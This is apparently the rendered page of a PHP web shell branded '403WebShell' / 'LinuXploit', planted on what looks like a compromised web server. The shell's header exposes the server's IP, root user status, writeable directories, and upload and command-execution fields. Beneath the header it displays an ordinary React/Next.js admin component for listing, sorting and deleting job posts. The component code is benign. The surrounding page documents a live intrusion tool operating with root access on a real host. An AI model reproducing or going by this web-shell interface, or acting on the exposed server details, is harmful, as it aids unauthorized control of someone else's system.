Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/control.machinox.in/src/components/ManageJobPost/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/control.machinox.in/src/components/ManageJobPost/JobListing.tsx
'use client';
import {
    Row,
    Col,
    OverlayTrigger,
    Tooltip,
    Dropdown,
    InputGroup,
    Form,
    Button,
} from "react-bootstrap";
import { HiMiniChevronUpDown } from "react-icons/hi2";
import { BsThreeDotsVertical } from "react-icons/bs";
import { useEffect, useState } from "react";
import { Access, UserList } from "../interface";
import { toast } from "react-toastify";
import { FiEdit, FiSearch, FiTrash2 } from "react-icons/fi";
import Link from "next/link";
import { useRouter } from "next/navigation";
import HelperService from "@/Services/HelperService";
import WebService from "@/Services/WebService";
import NoDataFound from "@/Common/NoDataFound/NoDataFound";
import RentCityPagination from "@/Common/Pagination/RentCityPagination";
import DeleteModal from "@/Common/DeleteModal/DeleteModal";
import PageTitle from "@/Common/PageTitle";
import CompoLoader from "@/Common/ComponentLoader/CompoLoader";

const JobListing = (props: any) => {

    const [jobList, setJobList] = useState<UserList[]>([]);
    const [totalCount, setTotalCount] = useState<any>(0);
    const [pageLoader, setPageLoader] = useState<any>(false);
    const [offset, setOffset] = useState<any>(0);
    const [keyword, setKeyword] = useState<any>("");
    const [action, setAction] = useState<string>("");
    const [showDeleteModal, setShowDeleteModal] = useState(false);
    const [orderBy, setOrderBy] = useState("DESC");
    const [sortBy, setSortBy] = useState("id");
    const navigate = useRouter();
    const [currentPage, setCurrentPage] = useState(1);
    const getSrNo = (index: number) => {
        const itemsPerPage = 10;
        const offset = (currentPage - 1) * itemsPerPage;
        return offset + index + 1;
    };

    const handleSort = (column: string) => {
        if (sortBy == column) {
            setOrderBy(prev => (prev === 'DESC' ? 'ASC' : 'DESC'));
        } else {
            setSortBy(column);
            setOrderBy('DESC');
        }
    };

    const handleCloseModal = () => {
        setShowDeleteModal(false);
    };

    useEffect(() => {
        GetList(keyword);
    }, [offset, sortBy, orderBy]);

    const GetList = (
        keyword: any,
    ) => {
        setPageLoader(true);
        return WebService.CommonApi({
            method: "GET",
            action: `admin/jobs?keyword=${keyword}&offset=${offset}&order_by=${orderBy}&sort_by=${sortBy}`,
            body: null,
            isShowError: false,
        })
            .then((res: any) => {
                setJobList(res?.list);
                setTotalCount(res?.count ?? 0);
                setPageLoader(false);
                setCurrentPage(res?.current_page);
            })
            .catch((error: any) => {
                setPageLoader(false);
                toast.error(error?.response?.data?.message);
                return error;
            });
    };

    const openDeleteModel = (deleteId: any) => {
        setAction(`admin/jobs/${deleteId}`);
        setShowDeleteModal(true);
    };

    return (
        <>
            {pageLoader && <CompoLoader />}
            <div className="page-accounting pb-3">
                <div className="sticky-top-mo">
                    <Row className="align-items-center">
                        <Col lg={8} xs={12}>
                            <div className="d-flex gap-2 align-items-center">
                                <PageTitle title=" Job Posts" backArrow={false} />
                            </div>
                        </Col>
                        <Col
                            lg={4}
                            className="d-flex justify-content-end gap-3 mobile-sticky-bottom"
                        >
                            <Button onClick={() => {
                                navigate.push("/manage-jobs/add-job")
                            }}>
                                Add Job
                            </Button>
                        </Col>
                    </Row>
                </div>
                <div className="pt-0 pt-lg-2">
                    <Row className="">
                        <Col lg={5} xs={10} className="d-flex gap-2 align-items-sm-center">
                            <InputGroup className="search-box mb-lg-2 mb-2">
                                <InputGroup.Text id="basic-addon1">
                                    <FiSearch
                                        className="icon"
                                        onClick={() => GetList(keyword)}
                                    />
                                </InputGroup.Text>
                                <Form.Control
                                    placeholder="Search by keyword...."
                                    onKeyDown={(e: React.KeyboardEvent<HTMLInputElement>) => {
                                        if (e.key === "Enter") {
                                            setKeyword(e.currentTarget.value);
                                            GetList(
                                                e.currentTarget.value
                                            );
                                        }
                                    }}
                                />
                            </InputGroup>
                        </Col>
                    </Row>
                    <div className="table-style-1 table-employee table-responsive position-relative">
                        <table className="table">
                            <thead className="">
                                <tr>
                                    <th>
                                        Sr.No{" "}
                                    </th>
                                    <th>
                                        Posted By{" "}
                                    </th>
                                    <th>
                                        Job Title{" "}
                                    </th>
                                    <th onClick={() => handleSort('salary')} style={{ cursor: "pointer" }}>
                                        Salary{" "}
                                        {/* <span className="sorting-icon" style={{ cursor: "pointer" }}>
                                            <HiMiniChevronUpDown />
                                        </span> */}
                                    </th>
                                    <th>
                                        Address{" "}
                                    </th>
                                    <th onClick={() => handleSort('created_at')} style={{ cursor: "pointer" }}>
                                        Created at{" "}
                                        {/* <span className="sorting-icon" style={{ cursor: "pointer" }}>
                                            <HiMiniChevronUpDown />
                                        </span> */}
                                    </th>
                                    <th className="text-center">Action</th>
                                </tr>
                            </thead>
                            <tbody>
                                {jobList && jobList.length > 0 ? (
                                    jobList?.map((data: any, index: any) => {
                                        return (
                                            <tr key={index}>
                                                <td className="col-id">
                                                    {getSrNo(index)}
                                                </td>

                                                <td className="col-designation">
                                                    {data?.user?.name}
                                                </td>
                                                <td className="col-designation">
                                                    {data?.job_name}
                                                </td>
                                                <td className="col-designation">
                                                    {data?.salary}
                                                </td>
                                                <td className="col-designation">
                                                    {data?.address}
                                                </td>
                                                <td className="col-designation">
                                                    {HelperService.getFormattedDateOnly(data?.created_at)}
                                                </td>
                                                <td className="col-designation" style={{ cursor: "pointer" }}>
                                                    <div className="d-flex gap-3">
                                                        <FiEdit
                                                            size={25}
                                                            className="p-1 me-2 text-primary text-center"
                                                            onClick={() => navigate.push(`manage-jobs/edit-job/${data?.uuid}`)}
                                                        />
                                                        <FiTrash2 className="p-1 text-danger"
                                                            onClick={(e: any) => {
                                                                e.preventDefault();
                                                                openDeleteModel(data?.uuid);
                                                            }}
                                                            size={25}
                                                        />
                                                    </div>
                                                </td>
                                            </tr>
                                        );
                                    })
                                ) : !pageLoader && (
                                    <tr>
                                        <td colSpan={8}>
                                            <NoDataFound />
                                        </td>
                                    </tr>
                                )}
                            </tbody>
                        </table>
                        {totalCount > 10 && (
                            <div className="float-end me-2">
                                <RentCityPagination
                                    totalCount={totalCount}
                                    itemCountPerPage={10}
                                    changePage={(page: any) => {
                                        setOffset(page - 1);
                                    }}
                                />
                            </div>
                        )}
                    </div>
                </div>
                <DeleteModal
                    show={showDeleteModal}
                    getApiCall={() => {
                        GetList(keyword);
                    }}
                    closeModal={(flag: any) => {
                        handleCloseModal();
                    }}
                    action={action}
                />
            </div>
        </>
    );
}

export default JobListing;

Youez - 2016 - github.com/yon3zu
LinuXploit